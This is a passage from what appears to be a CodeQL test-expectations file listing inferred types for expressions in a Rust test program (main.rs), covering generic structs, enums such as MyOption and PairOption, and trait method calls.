Tr2 | main.rs:375:5:378:5 | struct MyThing | -| main.rs:408:15:408:18 | SelfParam | Tr2.A | main.rs:407:20:407:22 | Tr3 | -| main.rs:408:15:408:18 | SelfParam | Tr3 | main.rs:407:20:407:22 | Tr3 | -| main.rs:411:9:417:9 | { ... } | | main.rs:407:20:407:22 | Tr3 | -| main.rs:412:13:416:13 | if ... {...} else {...} | | main.rs:407:20:407:22 | Tr3 | -| main.rs:412:26:414:13 | { ... } | | main.rs:407:20:407:22 | Tr3 | -| main.rs:413:17:413:20 | self | | main.rs:394:5:405:5 | trait MyTrait2 | -| main.rs:413:17:413:20 | self | | main.rs:407:5:418:5 | trait MyTrait3 | -| main.rs:413:17:413:20 | self | Tr2 | main.rs:375:5:378:5 | struct MyThing | -| main.rs:413:17:413:20 | self | Tr2.A | main.rs:407:20:407:22 | Tr3 | -| main.rs:413:17:413:20 | self | Tr3 | main.rs:407:20:407:22 | Tr3 | -| main.rs:413:17:413:25 | self.m2(...) | | main.rs:375:5:378:5 | struct MyThing | -| main.rs:413:17:413:25 | self.m2(...) | A | main.rs:407:20:407:22 | Tr3 | -| main.rs:413:17:413:27 | ... .a | | main.rs:407:20:407:22 | Tr3 | -| main.rs:414:20:416:13 | { ... } | | main.rs:407:20:407:22 | Tr3 | -| main.rs:415:17:415:30 | ...::m2(...) | | main.rs:375:5:378:5 | struct MyThing | -| main.rs:415:17:415:30 | ...::m2(...) | A | main.rs:407:20:407:22 | Tr3 | -| main.rs:415:17:415:32 | ... .a | | main.rs:407:20:407:22 | Tr3 | -| main.rs:415:26:415:29 | self | | main.rs:394:5:405:5 | trait MyTrait2 | -| main.rs:415:26:415:29 | self | | main.rs:407:5:418:5 | trait MyTrait3 | -| main.rs:415:26:415:29 | self | Tr2 | main.rs:375:5:378:5 | struct MyThing | -| main.rs:415:26:415:29 | self | Tr2.A | main.rs:407:20:407:22 | Tr3 | -| main.rs:415:26:415:29 | self | Tr3 | main.rs:407:20:407:22 | Tr3 | -| main.rs:421:15:421:18 | SelfParam | | main.rs:375:5:378:5 | struct MyThing | -| main.rs:421:15:421:18 | SelfParam | A | main.rs:420:10:420:10 | T | -| main.rs:421:26:423:9 | { ... } | | main.rs:420:10:420:10 | T | -| main.rs:422:13:422:16 | self | | main.rs:375:5:378:5 | struct MyThing | -| main.rs:422:13:422:16 | self | A | main.rs:420:10:420:10 | T | -| main.rs:422:13:422:18 | self.a | | main.rs:420:10:420:10 | T | -| main.rs:429:15:429:18 | SelfParam | | main.rs:380:5:383:5 | struct MyThing2 | -| main.rs:429:15:429:18 | SelfParam | A | main.rs:428:10:428:10 | T | -| main.rs:429:35:431:9 | { ... } | | main.rs:375:5:378:5 | struct MyThing | -| main.rs:429:35:431:9 | { ... } | A | main.rs:428:10:428:10 | T | -| main.rs:430:13:430:33 | MyThing {...} | | main.rs:375:5:378:5 | struct MyThing | -| main.rs:430:13:430:33 | MyThing {...} | A | main.rs:428:10:428:10 | T | -| main.rs:430:26:430:29 | self | | main.rs:380:5:383:5 | struct MyThing2 | -| main.rs:430:26:430:29 | self | A | main.rs:428:10:428:10 | T | -| main.rs:430:26:430:31 | self.a | | main.rs:428:10:428:10 | T | -| main.rs:439:13:439:13 | x | | main.rs:375:5:378:5 | struct MyThing | -| main.rs:439:13:439:13 | x | A | main.rs:385:5:386:14 | struct S1 | -| main.rs:439:17:439:33 | MyThing {...} | | main.rs:375:5:378:5 | struct MyThing | -| main.rs:439:17:439:33 | MyThing {...} | A | main.rs:385:5:386:14 | struct S1 | -| main.rs:439:30:439:31 | S1 | | main.rs:385:5:386:14 | struct S1 | -| main.rs:440:13:440:13 | y | | main.rs:375:5:378:5 | struct MyThing | -| main.rs:440:13:440:13 | y | A | main.rs:387:5:388:14 | struct S2 | -| main.rs:440:17:440:33 | MyThing {...} | | main.rs:375:5:378:5 | struct MyThing | -| main.rs:440:17:440:33 | MyThing {...} | A | main.rs:387:5:388:14 | struct S2 | -| main.rs:440:30:440:31 | S2 | | main.rs:387:5:388:14 | struct S2 | -| main.rs:442:26:442:26 | x | | main.rs:375:5:378:5 | struct MyThing | -| main.rs:442:26:442:26 | x | A | main.rs:385:5:386:14 | struct S1 | -| main.rs:442:26:442:31 | x.m1(...) | | main.rs:385:5:386:14 | struct S1 | -| main.rs:443:26:443:26 | y | | main.rs:375:5:378:5 | struct MyThing | -| main.rs:443:26:443:26 | y | A | main.rs:387:5:388:14 | struct S2 | -| main.rs:443:26:443:31 | y.m1(...) | | main.rs:387:5:388:14 | struct S2 | -| main.rs:445:13:445:13 | x | | main.rs:375:5:378:5 | struct MyThing | -| main.rs:445:13:445:13 | x | | main.rs:394:5:405:5 | trait MyTrait2 | -| main.rs:445:13:445:13 | x | A | main.rs:385:5:386:14 | struct S1 | -| main.rs:445:13:445:13 | x | Tr2 | main.rs:385:5:386:14 | struct S1 | -| main.rs:445:17:445:33 | MyThing {...} | | main.rs:375:5:378:5 | struct MyThing | -| main.rs:445:17:445:33 | MyThing {...} | | main.rs:394:5:405:5 | trait MyTrait2 | -| main.rs:445:17:445:33 | MyThing {...} | A | main.rs:385:5:386:14 | struct S1 | -| main.rs:445:17:445:33 | MyThing {...} | Tr2 | main.rs:385:5:386:14 | struct S1 | -| main.rs:445:30:445:31 | S1 | | main.rs:385:5:386:14 | struct S1 | -| main.rs:446:13:446:13 | y | | main.rs:375:5:378:5 | struct MyThing | -| main.rs:446:13:446:13 | y | | main.rs:394:5:405:5 | trait MyTrait2 | -| main.rs:446:13:446:13 | y | A | main.rs:387:5:388:14 | struct S2 | -| main.rs:446:13:446:13 | y | Tr2 | main.rs:387:5:388:14 | struct S2 | -| main.rs:446:17:446:33 | MyThing {...} | | main.rs:375:5:378:5 | struct MyThing | -| main.rs:446:17:446:33 | MyThing {...} | | main.rs:394:5:405:5 | trait MyTrait2 | -| main.rs:446:17:446:33 | MyThing {...} | A | main.rs:387:5:388:14 | struct S2 | -| main.rs:446:17:446:33 | MyThing {...} | Tr2 | main.rs:387:5:388:14 | struct S2 | -| main.rs:446:30:446:31 | S2 | | main.rs:387:5:388:14 | struct S2 | -| main.rs:448:26:448:26 | x | | main.rs:375:5:378:5 | struct MyThing | -| main.rs:448:26:448:26 | x | | main.rs:394:5:405:5 | trait MyTrait2 | -| main.rs:448:26:448:26 | x | A | main.rs:385:5:386:14 | struct S1 | -| main.rs:448:26:448:26 | x | Tr2 | main.rs:385:5:386:14 | struct S1 | -| main.rs:448:26:448:31 | x.m2(...) | | main.rs:385:5:386:14 | struct S1 | -| main.rs:449:26:449:26 | y | | main.rs:375:5:378:5 | struct MyThing | -| main.rs:449:26:449:26 | y | | main.rs:394:5:405:5 | trait MyTrait2 | -| main.rs:449:26:449:26 | y | A | main.rs:387:5:388:14 | struct S2 | -| main.rs:449:26:449:26 | y | Tr2 | main.rs:387:5:388:14 | struct S2 | -| main.rs:449:26:449:31 | y.m2(...) | | main.rs:387:5:388:14 | struct S2 | -| main.rs:451:13:451:13 | x | | main.rs:380:5:383:5 | struct MyThing2 | -| main.rs:451:13:451:13 | x | | main.rs:407:5:418:5 | trait MyTrait3 | -| main.rs:451:13:451:13 | x | A | main.rs:385:5:386:14 | struct S1 | -| main.rs:451:13:451:13 | x | Tr3 | main.rs:385:5:386:14 | struct S1 | -| main.rs:451:17:451:34 | MyThing2 {...} | | main.rs:380:5:383:5 | struct MyThing2 | -| main.rs:451:17:451:34 | MyThing2 {...} | | main.rs:407:5:418:5 | trait MyTrait3 | -| main.rs:451:17:451:34 | MyThing2 {...} | A | main.rs:385:5:386:14 | struct S1 | -| main.rs:451:17:451:34 | MyThing2 {...} | Tr3 | main.rs:385:5:386:14 | struct S1 | -| main.rs:451:31:451:32 | S1 | | main.rs:385:5:386:14 | struct S1 | -| main.rs:452:13:452:13 | y | | main.rs:380:5:383:5 | struct MyThing2 | -| main.rs:452:13:452:13 | y | | main.rs:407:5:418:5 | trait MyTrait3 | -| main.rs:452:13:452:13 | y | A | main.rs:387:5:388:14 | struct S2 | -| main.rs:452:13:452:13 | y | Tr3 | main.rs:387:5:388:14 | struct S2 | -| main.rs:452:17:452:34 | MyThing2 {...} | | main.rs:380:5:383:5 | struct MyThing2 | -| main.rs:452:17:452:34 | MyThing2 {...} | | main.rs:407:5:418:5 | trait MyTrait3 | -| main.rs:452:17:452:34 | MyThing2 {...} | A | main.rs:387:5:388:14 | struct S2 | -| main.rs:452:17:452:34 | MyThing2 {...} | Tr3 | main.rs:387:5:388:14 | struct S2 | -| main.rs:452:31:452:32 | S2 | | main.rs:387:5:388:14 | struct S2 | -| main.rs:454:26:454:26 | x | | main.rs:380:5:383:5 | struct MyThing2 | -| main.rs:454:26:454:26 | x | | main.rs:407:5:418:5 | trait MyTrait3 | -| main.rs:454:26:454:26 | x | A | main.rs:385:5:386:14 | struct S1 | -| main.rs:454:26:454:26 | x | Tr3 | main.rs:385:5:386:14 | struct S1 | -| main.rs:454:26:454:31 | x.m3(...) | | main.rs:385:5:386:14 | struct S1 | -| main.rs:455:26:455:26 | y | | main.rs:380:5:383:5 | struct MyThing2 | -| main.rs:455:26:455:26 | y | | main.rs:407:5:418:5 | trait MyTrait3 | -| main.rs:455:26:455:26 | y | A | main.rs:387:5:388:14 | struct S2 | -| main.rs:455:26:455:26 | y | Tr3 | main.rs:387:5:388:14 | struct S2 | -| main.rs:455:26:455:31 | y.m3(...) | | main.rs:387:5:388:14 | struct S2 | -| main.rs:473:22:473:22 | x | | file://:0:0:0:0 | & | -| main.rs:473:22:473:22 | x | &T | main.rs:473:11:473:19 | T | -| main.rs:473:35:475:5 | { ... } | | file://:0:0:0:0 | & | -| main.rs:473:35:475:5 | { ... } | &T | main.rs:473:11:473:19 | T | -| main.rs:474:9:474:9 | x | | file://:0:0:0:0 | & | -| main.rs:474:9:474:9 | x | &T | main.rs:473:11:473:19 | T | -| main.rs:478:17:478:20 | SelfParam | | main.rs:463:5:464:14 | struct S1 | -| main.rs:478:29:480:9 | { ... } | | main.rs:466:5:467:14 | struct S2 | -| main.rs:479:13:479:14 | S2 | | main.rs:466:5:467:14 | struct S2 | -| main.rs:483:21:483:21 | x | | main.rs:483:13:483:14 | T1 | -| main.rs:486:5:488:5 | { ... } | | main.rs:483:17:483:18 | T2 | -| main.rs:487:9:487:9 | x | | main.rs:483:13:483:14 | T1 | -| main.rs:487:9:487:16 | x.into(...) | | main.rs:483:17:483:18 | T2 | -| main.rs:491:13:491:13 | x | | main.rs:463:5:464:14 | struct S1 | -| main.rs:491:17:491:18 | S1 | | main.rs:463:5:464:14 | struct S1 | -| main.rs:492:26:492:31 | id(...) | | file://:0:0:0:0 | & | -| main.rs:492:26:492:31 | id(...) | &T | main.rs:463:5:464:14 | struct S1 | -| main.rs:492:29:492:30 | &x | | file://:0:0:0:0 | & | -| main.rs:492:29:492:30 | &x | &T | main.rs:463:5:464:14 | struct S1 | -| main.rs:492:30:492:30 | x | | main.rs:463:5:464:14 | struct S1 | -| main.rs:494:13:494:13 | x | | main.rs:463:5:464:14 | struct S1 | -| main.rs:494:17:494:18 | S1 | | main.rs:463:5:464:14 | struct S1 | -| main.rs:495:26:495:37 | id::<...>(...) | | file://:0:0:0:0 | & | -| main.rs:495:26:495:37 | id::<...>(...) | &T | main.rs:463:5:464:14 | struct S1 | -| main.rs:495:35:495:36 | &x | | file://:0:0:0:0 | & | -| main.rs:495:35:495:36 | &x | &T | main.rs:463:5:464:14 | struct S1 | -| main.rs:495:36:495:36 | x | | main.rs:463:5:464:14 | struct S1 | -| main.rs:497:13:497:13 | x | | main.rs:463:5:464:14 | struct S1 | -| main.rs:497:17:497:18 | S1 | | main.rs:463:5:464:14 | struct S1 | -| main.rs:498:26:498:44 | id::<...>(...) | | file://:0:0:0:0 | & | -| main.rs:498:26:498:44 | id::<...>(...) | &T | main.rs:463:5:464:14 | struct S1 | -| main.rs:498:42:498:43 | &x | | file://:0:0:0:0 | & | -| main.rs:498:42:498:43 | &x | &T | main.rs:463:5:464:14 | struct S1 | -| main.rs:498:43:498:43 | x | | main.rs:463:5:464:14 | struct S1 | -| main.rs:500:13:500:13 | x | | main.rs:463:5:464:14 | struct S1 | -| main.rs:500:17:500:18 | S1 | | main.rs:463:5:464:14 | struct S1 | -| main.rs:501:9:501:25 | into::<...>(...) | | main.rs:466:5:467:14 | struct S2 | -| main.rs:501:24:501:24 | x | | main.rs:463:5:464:14 | struct S1 | -| main.rs:503:13:503:13 | x | | main.rs:463:5:464:14 | struct S1 | -| main.rs:503:17:503:18 | S1 | | main.rs:463:5:464:14 | struct S1 | -| main.rs:504:13:504:13 | y | | main.rs:466:5:467:14 | struct S2 | -| main.rs:504:21:504:27 | into(...) | | main.rs:466:5:467:14 | struct S2 | -| main.rs:504:26:504:26 | x | | main.rs:463:5:464:14 | struct S1 | -| main.rs:534:13:534:14 | p1 | | main.rs:509:5:515:5 | enum PairOption | -| main.rs:534:13:534:14 | p1 | Fst | main.rs:517:5:518:14 | struct S1 | -| main.rs:534:13:534:14 | p1 | Snd | main.rs:520:5:521:14 | struct S2 | -| main.rs:534:26:534:53 | ...::PairBoth(...) | | main.rs:509:5:515:5 | enum PairOption | -| main.rs:534:26:534:53 | ...::PairBoth(...) | Fst | main.rs:517:5:518:14 | struct S1 | -| main.rs:534:26:534:53 | ...::PairBoth(...) | Snd | main.rs:520:5:521:14 | struct S2 | -| main.rs:534:47:534:48 | S1 | | main.rs:517:5:518:14 | struct S1 | -| main.rs:534:51:534:52 | S2 | | main.rs:520:5:521:14 | struct S2 | -| main.rs:535:26:535:27 | p1 | | main.rs:509:5:515:5 | enum PairOption | -| main.rs:535:26:535:27 | p1 | Fst | main.rs:517:5:518:14 | struct S1 | -| main.rs:535:26:535:27 | p1 | Snd | main.rs:520:5:521:14 | struct S2 | -| main.rs:538:13:538:14 | p2 | | main.rs:509:5:515:5 | enum PairOption | -| main.rs:538:26:538:47 | ...::PairNone(...) | | main.rs:509:5:515:5 | enum PairOption | -| main.rs:539:26:539:27 | p2 | | main.rs:509:5:515:5 | enum PairOption | -| main.rs:542:13:542:14 | p3 | | main.rs:509:5:515:5 | enum PairOption | -| main.rs:542:13:542:14 | p3 | Snd | main.rs:523:5:524:14 | struct S3 | -| main.rs:542:34:542:56 | ...::PairSnd(...) | | main.rs:509:5:515:5 | enum PairOption | -| main.rs:542:34:542:56 | ...::PairSnd(...) | Snd | main.rs:523:5:524:14 | struct S3 | -| main.rs:542:54:542:55 | S3 | | main.rs:523:5:524:14 | struct S3 | -| main.rs:543:26:543:27 | p3 | | main.rs:509:5:515:5 | enum PairOption | -| main.rs:543:26:543:27 | p3 | Snd | main.rs:523:5:524:14 | struct S3 | -| main.rs:546:13:546:14 | p3 | | main.rs:509:5:515:5 | enum PairOption | -| main.rs:546:13:546:14 | p3 | Fst | main.rs:523:5:524:14 | struct S3 | -| main.rs:546:35:546:56 | ...::PairNone(...) | | main.rs:509:5:515:5 | enum PairOption | -| main.rs:546:35:546:56 | ...::PairNone(...) | Fst | main.rs:523:5:524:14 | struct S3 | -| main.rs:547:26:547:27 | p3 | | main.rs:509:5:515:5 | enum PairOption | -| main.rs:547:26:547:27 | p3 | Fst | main.rs:523:5:524:14 | struct S3 | -| main.rs:559:16:559:24 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:559:16:559:24 | SelfParam | &T | main.rs:558:5:564:5 | trait MyTrait | -| main.rs:559:16:559:24 | SelfParam | &T.S | main.rs:558:19:558:19 | S | -| main.rs:559:27:559:31 | value | | main.rs:558:19:558:19 | S | -| main.rs:561:21:561:29 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:561:21:561:29 | SelfParam | &T | main.rs:558:5:564:5 | trait MyTrait | -| main.rs:561:21:561:29 | SelfParam | &T.S | main.rs:558:19:558:19 | S | -| main.rs:561:32:561:36 | value | | main.rs:558:19:558:19 | S | -| main.rs:562:13:562:16 | self | | file://:0:0:0:0 | & | -| main.rs:562:13:562:16 | self | &T | main.rs:558:5:564:5 | trait MyTrait | -| main.rs:562:13:562:16 | self | &T.S | main.rs:558:19:558:19 | S | -| main.rs:562:22:562:26 | value | | main.rs:558:19:558:19 | S | -| main.rs:567:16:567:24 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:567:16:567:24 | SelfParam | &T | main.rs:552:5:556:5 | enum MyOption | -| main.rs:567:16:567:24 | SelfParam | &T.T | main.rs:566:10:566:10 | T | -| main.rs:567:27:567:31 | value | | main.rs:566:10:566:10 | T | -| main.rs:571:26:573:9 | { ... } | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:571:26:573:9 | { ... } | T | main.rs:570:10:570:10 | T | -| main.rs:572:13:572:30 | ...::MyNone(...) | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:572:13:572:30 | ...::MyNone(...) | T | main.rs:570:10:570:10 | T | -| main.rs:577:20:577:23 | SelfParam | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:577:20:577:23 | SelfParam | T | main.rs:552:5:556:5 | enum MyOption | -| main.rs:577:20:577:23 | SelfParam | T.T | main.rs:576:10:576:10 | T | -| main.rs:577:41:582:9 | { ... } | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:577:41:582:9 | { ... } | T | main.rs:576:10:576:10 | T | -| main.rs:578:13:581:13 | match self { ... } | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:578:13:581:13 | match self { ... } | T | main.rs:576:10:576:10 | T | -| main.rs:578:19:578:22 | self | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:578:19:578:22 | self | T | main.rs:552:5:556:5 | enum MyOption | -| main.rs:578:19:578:22 | self | T.T | main.rs:576:10:576:10 | T | -| main.rs:579:39:579:56 | ...::MyNone(...) | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:579:39:579:56 | ...::MyNone(...) | T | main.rs:576:10:576:10 | T | -| main.rs:580:34:580:34 | x | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:580:34:580:34 | x | T | main.rs:576:10:576:10 | T | -| main.rs:580:40:580:40 | x | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:580:40:580:40 | x | T | main.rs:576:10:576:10 | T | -| main.rs:589:13:589:14 | x1 | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:589:18:589:37 | ...::new(...) | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:590:26:590:27 | x1 | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:592:13:592:18 | mut x2 | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:592:13:592:18 | mut x2 | T | main.rs:585:5:586:13 | struct S | -| main.rs:592:22:592:36 | ...::new(...) | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:592:22:592:36 | ...::new(...) | T | main.rs:585:5:586:13 | struct S | -| main.rs:593:9:593:10 | x2 | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:593:9:593:10 | x2 | T | main.rs:585:5:586:13 | struct S | -| main.rs:593:16:593:16 | S | | main.rs:585:5:586:13 | struct S | -| main.rs:594:26:594:27 | x2 | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:594:26:594:27 | x2 | T | main.rs:585:5:586:13 | struct S | -| main.rs:596:13:596:18 | mut x3 | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:596:13:596:18 | mut x3 | | main.rs:558:5:564:5 | trait MyTrait | -| main.rs:596:13:596:18 | mut x3 | S | main.rs:585:5:586:13 | struct S | -| main.rs:596:22:596:36 | ...::new(...) | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:596:22:596:36 | ...::new(...) | | main.rs:558:5:564:5 | trait MyTrait | -| main.rs:596:22:596:36 | ...::new(...) | S | main.rs:585:5:586:13 | struct S | -| main.rs:597:9:597:10 | x3 | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:597:9:597:10 | x3 | | main.rs:558:5:564:5 | trait MyTrait | -| main.rs:597:9:597:10 | x3 | S | main.rs:585:5:586:13 | struct S | -| main.rs:597:21:597:21 | S | | main.rs:585:5:586:13 | struct S | -| main.rs:598:26:598:27 | x3 | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:598:26:598:27 | x3 | | main.rs:558:5:564:5 | trait MyTrait | -| main.rs:598:26:598:27 | x3 | S | main.rs:585:5:586:13 | struct S | -| main.rs:600:13:600:18 | mut x4 | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:600:13:600:18 | mut x4 | T | main.rs:585:5:586:13 | struct S | -| main.rs:600:22:600:36 | ...::new(...) | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:600:22:600:36 | ...::new(...) | T | main.rs:585:5:586:13 | struct S | -| main.rs:601:23:601:29 | &mut x4 | | file://:0:0:0:0 | & | -| main.rs:601:23:601:29 | &mut x4 | &T | main.rs:552:5:556:5 | enum MyOption | -| main.rs:601:23:601:29 | &mut x4 | &T.T | main.rs:585:5:586:13 | struct S | -| main.rs:601:28:601:29 | x4 | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:601:28:601:29 | x4 | T | main.rs:585:5:586:13 | struct S | -| main.rs:601:32:601:32 | S | | main.rs:585:5:586:13 | struct S | -| main.rs:602:26:602:27 | x4 | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:602:26:602:27 | x4 | T | main.rs:585:5:586:13 | struct S | -| main.rs:604:13:604:14 | x5 | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:604:13:604:14 | x5 | T | main.rs:552:5:556:5 | enum MyOption | -| main.rs:604:13:604:14 | x5 | T.T | main.rs:585:5:586:13 | struct S | -| main.rs:604:18:604:58 | ...::MySome(...) | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:604:18:604:58 | ...::MySome(...) | T | main.rs:552:5:556:5 | enum MyOption | -| main.rs:604:18:604:58 | ...::MySome(...) | T.T | main.rs:585:5:586:13 | struct S | -| main.rs:604:35:604:57 | ...::MyNone(...) | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:604:35:604:57 | ...::MyNone(...) | T | main.rs:585:5:586:13 | struct S | -| main.rs:605:26:605:27 | x5 | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:605:26:605:27 | x5 | T | main.rs:552:5:556:5 | enum MyOption | -| main.rs:605:26:605:27 | x5 | T.T | main.rs:585:5:586:13 | struct S | -| main.rs:607:13:607:14 | x6 | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:607:13:607:14 | x6 | T | main.rs:552:5:556:5 | enum MyOption | -| main.rs:607:13:607:14 | x6 | T.T | main.rs:585:5:586:13 | struct S | -| main.rs:607:18:607:58 | ...::MySome(...) | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:607:18:607:58 | ...::MySome(...) | T | main.rs:552:5:556:5 | enum MyOption | -| main.rs:607:18:607:58 | ...::MySome(...) | T.T | main.rs:585:5:586:13 | struct S | -| main.rs:607:35:607:57 | ...::MyNone(...) | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:607:35:607:57 | ...::MyNone(...) | T | main.rs:585:5:586:13 | struct S | -| main.rs:608:26:608:61 | ...::flatten(...) | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:608:26:608:61 | ...::flatten(...) | T | main.rs:585:5:586:13 | struct S | -| main.rs:608:59:608:60 | x6 | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:608:59:608:60 | x6 | T | main.rs:552:5:556:5 | enum MyOption | -| main.rs:608:59:608:60 | x6 | T.T | main.rs:585:5:586:13 | struct S | -| main.rs:610:13:610:19 | from_if | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:610:13:610:19 | from_if | T | main.rs:585:5:586:13 | struct S | -| main.rs:610:23:614:9 | if ... {...} else {...} | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:610:23:614:9 | if ... {...} else {...} | T | main.rs:585:5:586:13 | struct S | -| main.rs:610:36:612:9 | { ... } | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:610:36:612:9 | { ... } | T | main.rs:585:5:586:13 | struct S | -| main.rs:611:13:611:30 | ...::MyNone(...) | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:611:13:611:30 | ...::MyNone(...) | T | main.rs:585:5:586:13 | struct S | -| main.rs:612:16:614:9 | { ... } | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:612:16:614:9 | { ... } | T | main.rs:585:5:586:13 | struct S | -| main.rs:613:13:613:31 | ...::MySome(...) | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:613:13:613:31 | ...::MySome(...) | T | main.rs:585:5:586:13 | struct S | -| main.rs:613:30:613:30 | S | | main.rs:585:5:586:13 | struct S | -| main.rs:615:26:615:32 | from_if | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:615:26:615:32 | from_if | T | main.rs:585:5:586:13 | struct S | -| main.rs:617:13:617:22 | from_match | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:617:13:617:22 | from_match | T | main.rs:585:5:586:13 | struct S | -| main.rs:617:26:620:9 | match ... { ... } | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:617:26:620:9 | match ... { ... } | T | main.rs:585:5:586:13 | struct S | -| main.rs:618:21:618:38 | ...::MyNone(...) | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:618:21:618:38 | ...::MyNone(...) | T | main.rs:585:5:586:13 | struct S | -| main.rs:619:22:619:40 | ...::MySome(...) | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:619:22:619:40 | ...::MySome(...) | T | main.rs:585:5:586:13 | struct S | -| main.rs:619:39:619:39 | S | | main.rs:585:5:586:13 | struct S | -| main.rs:621:26:621:35 | from_match | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:621:26:621:35 | from_match | T | main.rs:585:5:586:13 | struct S | -| main.rs:623:13:623:21 | from_loop | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:623:13:623:21 | from_loop | T | main.rs:585:5:586:13 | struct S | -| main.rs:623:25:628:9 | loop { ... } | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:623:25:628:9 | loop { ... } | T | main.rs:585:5:586:13 | struct S | -| main.rs:625:23:625:40 | ...::MyNone(...) | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:625:23:625:40 | ...::MyNone(...) | T | main.rs:585:5:586:13 | struct S | -| main.rs:627:19:627:37 | ...::MySome(...) | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:627:19:627:37 | ...::MySome(...) | T | main.rs:585:5:586:13 | struct S | -| main.rs:627:36:627:36 | S | | main.rs:585:5:586:13 | struct S | -| main.rs:629:26:629:34 | from_loop | | main.rs:552:5:556:5 | enum MyOption | -| main.rs:629:26:629:34 | from_loop | T | main.rs:585:5:586:13 | struct S | -| main.rs:642:15:642:18 | SelfParam | | main.rs:635:5:636:19 | struct S | -| main.rs:642:15:642:18 | SelfParam | T | main.rs:641:10:641:10 | T | -| main.rs:642:26:644:9 | { ... } | | main.rs:641:10:641:10 | T | -| main.rs:643:13:643:16 | self | | main.rs:635:5:636:19 | struct S | -| main.rs:643:13:643:16 | self | T | main.rs:641:10:641:10 | T | -| main.rs:643:13:643:18 | self.0 | | main.rs:641:10:641:10 | T | -| main.rs:646:15:646:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:646:15:646:19 | SelfParam | &T | main.rs:635:5:636:19 | struct S | -| main.rs:646:15:646:19 | SelfParam | &T.T | main.rs:641:10:641:10 | T | -| main.rs:646:28:648:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:646:28:648:9 | { ... } | &T | main.rs:641:10:641:10 | T | -| main.rs:647:13:647:19 | &... | | file://:0:0:0:0 | & | -| main.rs:647:13:647:19 | &... | &T | main.rs:641:10:641:10 | T | -| main.rs:647:14:647:17 | self | | file://:0:0:0:0 | & | -| main.rs:647:14:647:17 | self | &T | main.rs:635:5:636:19 | struct S | -| main.rs:647:14:647:17 | self | &T.T | main.rs:641:10:641:10 | T | -| main.rs:647:14:647:19 | self.0 | | main.rs:641:10:641:10 | T | -| main.rs:650:15:650:25 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:650:15:650:25 | SelfParam | &T | main.rs:635:5:636:19 | struct S | -| main.rs:650:15:650:25 | SelfParam | &T.T | main.rs:641:10:641:10 | T | -| main.rs:650:34:652:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:650:34:652:9 | { ... } | &T | main.rs:641:10:641:10 | T | -| main.rs:651:13:651:19 | &... | | file://:0:0:0:0 | & | -| main.rs:651:13:651:19 | &... | &T | main.rs:641:10:641:10 | T | -| main.rs:651:14:651:17 | self | | file://:0:0:0:0 | & | -| main.rs:651:14:651:17 | self | &T | main.rs:635:5:636:19 | struct S | -| main.rs:651:14:651:17 | self | &T.T | main.rs:641:10:641:10 | T | -| main.rs:651:14:651:19 | self.0 | | main.rs:641:10:641:10 | T | -| main.rs:656:13:656:14 | x1 | | main.rs:635:5:636:19 | struct S | -| main.rs:656:13:656:14 | x1 | T | main.rs:638:5:639:14 | struct S2 | -| main.rs:656:18:656:22 | S(...) | | main.rs:635:5:636:19 | struct S | -| main.rs:656:18:656:22 | S(...) | T | main.rs:638:5:639:14 | struct S2 | -| main.rs:656:20:656:21 | S2 | | main.rs:638:5:639:14 | struct S2 | -| main.rs:657:26:657:27 | x1 | | main.rs:635:5:636:19 | struct S | -| main.rs:657:26:657:27 | x1 | T | main.rs:638:5:639:14 | struct S2 | -| main.rs:657:26:657:32 | x1.m1(...) | | main.rs:638:5:639:14 | struct S2 | -| main.rs:659:13:659:14 | x2 | | main.rs:635:5:636:19 | struct S | -| main.rs:659:13:659:14 | x2 | T | main.rs:638:5:639:14 | struct S2 | -| main.rs:659:18:659:22 | S(...) | | main.rs:635:5:636:19 | struct S | -| main.rs:659:18:659:22 | S(...) | T | main.rs:638:5:639:14 | struct S2 | -| 